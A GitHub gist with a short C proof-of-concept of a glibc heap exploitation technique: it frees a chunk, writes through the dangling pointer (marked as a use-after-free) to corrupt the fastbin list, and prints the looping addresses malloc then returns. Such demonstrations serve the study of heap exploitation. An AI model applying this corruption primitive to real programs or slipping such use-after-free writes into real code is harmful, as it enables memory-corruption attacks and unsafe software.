Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
uintptr_t *p1 = malloc(0);
uintptr_t *p2 = malloc(0);
free(p2);
// UAF
*p2 = (uintptr_t)p2 - 0x10;
uintptr_t *p3 = malloc(0);
fprintf(stderr, "Fastbin loop: %p,%p,%p\n", p3, malloc(0), malloc(0));
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.